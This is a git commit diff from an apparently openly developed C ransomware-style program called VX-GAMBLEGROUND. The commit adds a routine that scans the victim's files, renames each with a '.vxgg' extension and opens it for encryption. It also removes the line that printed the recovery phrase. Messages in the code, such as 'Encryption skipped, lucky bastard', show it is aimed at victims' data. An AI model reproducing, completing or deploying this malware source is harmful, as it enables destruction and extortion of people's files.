diff options
| author | @syxhe <https://t.me/syxhe> | 2024-09-01 18:43:32 -0500 |
|---|---|---|
| committer | @syxhe <https://t.me/syxhe> | 2024-09-01 18:43:32 -0500 |
| commit | 7129f43cff2937a83419f61dc82932c1a2d817fa (patch) | |
| tree | f7c592ac060f54c05391d0696c3ccf8b50921123 /src | |
| parent | eda747d32c6d094c08904fe6e842210fa076d7b3 (diff) | |
Rename encrypted files
Diffstat (limited to 'src')
| -rw-r--r-- | src/VX-GAMBLEGROUND.c | 72 | ||||
| -rw-r--r-- | src/search.c | 2 |
2 files changed, 27 insertions, 47 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 454529d..4afa8cd 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c | |||
| @@ -34,6 +34,7 @@ | |||
| 34 | 34 | ||
| 35 | #include <stdio.h> | 35 | #include <stdio.h> |
| 36 | #include <threads.h> | 36 | #include <threads.h> |
| 37 | #include <regex.h> | ||
| 37 | 38 | ||
| 38 | const char *argp_program_version = "Alpha-0.1"; | 39 | const char *argp_program_version = "Alpha-0.1"; |
| 39 | const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; | 40 | const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; |
| @@ -89,8 +90,6 @@ int genphrase(char *phrase, size_t phrasesize) { | |||
| 89 | phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A'; | 90 | phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A'; |
| 90 | phrase[phrasesize] = '\0'; | 91 | phrase[phrasesize] = '\0'; |
| 91 | 92 | ||
| 92 | printf("Recovery Phrase: %s\n", phrase); | ||
| 93 | |||
| 94 | return 0; | 93 | return 0; |
| 95 | } | 94 | } |
| 96 | 95 | ||
| @@ -158,13 +157,38 @@ int doslots_twrapper(void *passed) { | |||
| 158 | 157 | ||
| 159 | int scanundencrypt(void *passed) { | 158 | int scanundencrypt(void *passed) { |
| 160 | struct sande *p = (struct sande *)passed; | 159 | struct sande *p = (struct sande *)passed; |
| 160 | |||
| 161 | int err = REG_NOERROR; | ||
| 162 | regex_t encext; | ||
| 163 | if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) { | ||
| 164 | endwin(); | ||
| 165 | error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Encryption skipped, lucky bastard. ECODE: %d", err); | ||
| 166 | } | ||
| 167 | |||
| 161 | p->scanned = scanfiles(p->STARTPATH, p->cmp); | 168 | p->scanned = scanfiles(p->STARTPATH, p->cmp); |
| 162 | if(p->scanned == NULL) | 169 | if(p->scanned == NULL) |
| 163 | error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); | 170 | error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); |
| 164 | 171 | ||
| 165 | int fd = -1; | 172 | int fd = -1; |
| 166 | for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { | 173 | for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { |
| 167 | fd = open(p2->fullpath, O_RDWR); | 174 | // I'm retarded and forgot that my linked list implementation is bad so I need to explicitly check this or it will crash |
| 175 | if(p2->fullpath == NULL) | ||
| 176 | continue; | ||
| 177 | |||
| 178 | if(regexec(&encext, p2->fullpath, 0, NULL, 0) != REG_NOMATCH) | ||
| 179 | continue; | ||
| 180 | |||
| 181 | |||
| 182 | char *newname = NULL; | ||
| 183 | if(asprintf(&newname, "%s.vxgg", p2->fullpath) < 0) { | ||
| 184 | endwin(); | ||
| 185 | error(1, errno, "[VX-GAMBLEGROUND] Couldn't get file's newname"); | ||
| 186 | } | ||
| 187 | rename(p2->fullpath, newname); | ||
| 188 | |||
| 189 | |||
| 190 | fd = open(newname, O_RDWR); | ||
| 191 | free(newname); | ||
| 168 | if(fd < 0) | 192 | if(fd < 0) |
| 169 | continue; | 193 | continue; |
| 170 | 194 | ||
| @@ -209,50 +233,8 @@ int main(int argc, char *argv[]) { | |||
| 209 | if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) | 233 | if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) |
| 210 | error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); | 234 | error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); |
| 211 | 235 | ||
| 212 | // if(args.inputpass != NULL) { | ||
| 213 | // printf("Using input passphrase \"%s\"\n", args.inputpass); | ||
| 214 | // } else { | ||
| 215 | // char phrase[PHRASESIZE]; | ||
| 216 | // genphrase(phrase, PHRASESIZE); | ||
| 217 | |||
| 218 | // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); | ||
| 219 | |||
| 220 | // if(args.flags & SKIPSLOTS != 0) { | ||
| 221 | // printf("Hit Enter to contine, or CTRL+C to cancel..."); | ||
| 222 | // getchar(); | ||
| 223 | // } | ||
| 224 | // } | ||
| 225 | |||
| 226 | /* Get files | ||
| 227 | struct nodelist *files = scanfiles("./", alphasort); | ||
| 228 | |||
| 229 | // Encrypt those files | ||
| 230 | for(struct nodelist *p = files; p != NULL; p = p->next) { | ||
| 231 | int fd = open(p->fullpath, O_RDWR); | ||
| 232 | if(fd < 0) { | ||
| 233 | error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); | ||
| 234 | continue; | ||
| 235 | } | ||
| 236 | |||
| 237 | passencblock(fd, phrase); | ||
| 238 | close(fd); | ||
| 239 | } | ||
| 240 | |||
| 241 | nodelist_delete(files); | ||
| 242 | //*/ | ||
| 243 | |||
| 244 | thrd_join(slots, NULL); | 236 | thrd_join(slots, NULL); |
| 245 | thrd_join(filescan, NULL); | 237 | thrd_join(filescan, NULL); |
| 246 | 238 | ||
| 247 | /* The perfectionist in me wants to deal with the producer/consumer problem and have 3 threads running: | ||
| 248 | // One for the slots, one for grabbing new files, and another for encrypting files. As of now, I do not | ||
| 249 | // care enough to bother with doing this and instead just wrote a "wrapper" for the filescan and encrypt | ||
| 250 | // functions. Maybe after a month break or so I might come back and improve this whole thing | ||
| 251 | // (it's a massive piece of shit in multiple places lol) */ | ||
| 252 | |||
| 253 | for(struct nodelist *p = files; p != NULL; p = p->next) { | ||
| 254 | printf("%s\n", p->fullpath); | ||
| 255 | } | ||
| 256 | |||
| 257 | return 0; | 239 | return 0; |
| 258 | } \ No newline at end of file | 240 | } \ No newline at end of file |
diff --git a/src/search.c b/src/search.c index c3b6d54..a790528 100644 --- a/src/search.c +++ b/src/search.c | |||
| @@ -130,8 +130,6 @@ struct nodelist* scanfiles(const char *STARTPATH, int (*cmp)(const struct dirent | |||
| 130 | 130 | ||
| 131 | files->fullpath = realpath(nodes[i]->d_name, NULL); | 131 | files->fullpath = realpath(nodes[i]->d_name, NULL); |
| 132 | 132 | ||
| 133 | printf("%s\n", files->fullpath); | ||
| 134 | |||
| 135 | files->next = nodelist_init(NULL); | 133 | files->next = nodelist_init(NULL); |
| 136 | files = files->next; | 134 | files = files->next; |
| 137 | } | 135 | } |
